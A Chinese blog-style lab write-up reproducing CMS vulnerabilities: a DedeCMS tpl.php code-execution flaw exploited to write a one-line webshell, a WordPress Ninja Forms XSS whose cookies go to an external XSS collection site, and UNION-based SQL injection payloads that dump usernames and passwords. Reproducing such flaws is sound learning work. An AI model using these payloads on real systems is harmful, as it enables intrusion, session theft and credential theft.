CMS漏洞复现

dedeCMS (CNVD-2018-01221)

类型:

php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。

dedeCMS (CNVD-2018-01221)

漏洞简介
Dedecms v5.7 sp2版本tpl.php存在代码执行漏洞,攻击者可以利用该漏洞在增加的新的标签中上传木马

 

else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

 

CMS漏洞复现_第1张图片

 

 

首先我们打开tpl.php文件后,找到指定目录,还有在PHP代码里发现了参数,我们把他get下来,复制到URL里面,发现要上传东西,我们首先要尝试随便传个,Ctrl+u查看源码,发现

 

CMS漏洞复现_第2张图片

CMS漏洞复现_第3张图片

除此之外我们还发现另外一个参数,感觉有用把他也get下来

CMS漏洞复现_第4张图片

我们首先要尝试随便传个,Ctrl+u查看源码,发现 token的意思是“令牌”,是服务端生成的一串字符串,作为客户端进行请求的一个标识。把这个参数也get下来,并且赋值,

 

CMS漏洞复现_第5张图片

 再加上个一句话木马,

最后得到如下

http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/tpl.php?action=savetagfile&token=db3b7aab1cdd04a0ff498b6b369caec7&filename=123.lib.php&content=

然后打开菜刀,右键添加,在地址上面,本地IP加目录路径和创建的PHP文件名,点击添加,打开文档就OK

CMS漏洞复现_第6张图片

Wordpress (CVE-2018-19287)

环境搭建好了之后,打开网站根目录的url点击插件的已安装插件,启用Ninja Forms,

打开这个网站,发现有一个弹窗,但是弹窗不是目的,只是证明这个网站存在xss漏洞,

http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1">&nf_form_filter&paged=1

 

http://www.l31.cc/index.php

 

这个xss后台,进去之后,创建项目,

把这个xss复制上去,成功。

CMS漏洞复现_第7张图片

 

查看xss。项目详情,就看到了cookie,

CMS漏洞复现_第8张图片

sql注入。。。

进入SQL命令行,

CMS漏洞复现_第9张图片

CMS漏洞复现_第10张图片

应该记住在网页上要先获取库名----->表名------>字段名------>最终的值

CMS漏洞复现_第11张图片

information_schema  
-tables  
-- table_name tables表中的字段名,存放着其他数据库中的表的名字

-columns
--columns_name tables表中的字段名,存放着其他数据库中的表的名字

-- table_schema 指定数据库,

database() mysql下的函数,表示当前数据库名


information_schema.tables

concat(table_name) from information_schema.tables where table_schema=database();  ‘security’

 

获得表名 

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

获得所有用户名

?id=-1' union select 1,2,group_concat(username) from security.users--+

获得字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获得所有密码  

?id=-1' union select 1,2,group_concat(password) from security.users--+

你可能感兴趣的:(新知识)